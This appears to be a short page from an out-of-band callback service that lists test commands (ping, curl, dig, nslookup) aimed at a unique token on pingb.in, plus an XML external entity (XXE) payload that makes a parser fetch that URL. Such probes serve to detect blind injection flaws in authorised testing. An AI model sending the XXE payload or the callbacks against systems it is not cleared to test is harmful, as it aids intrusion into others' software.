$ ping -c1 -p 0004edc6ee4238b9daff4774ff4aa600 pingb.in
 
$ curl pingb.in/p/04edc6ee4238b9daff4774ff4aa6
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/04edc6ee4238b9daff4774ff4aa6">]>
    <foo>&xxe;</foo>
 
$ dig 04edc6ee4238b9daff4774ff4aa6 @pingb.in
 
C:\> nslookup 04edc6ee4238b9daff4774ff4aa6 pingb.in
 
Waiting for ping...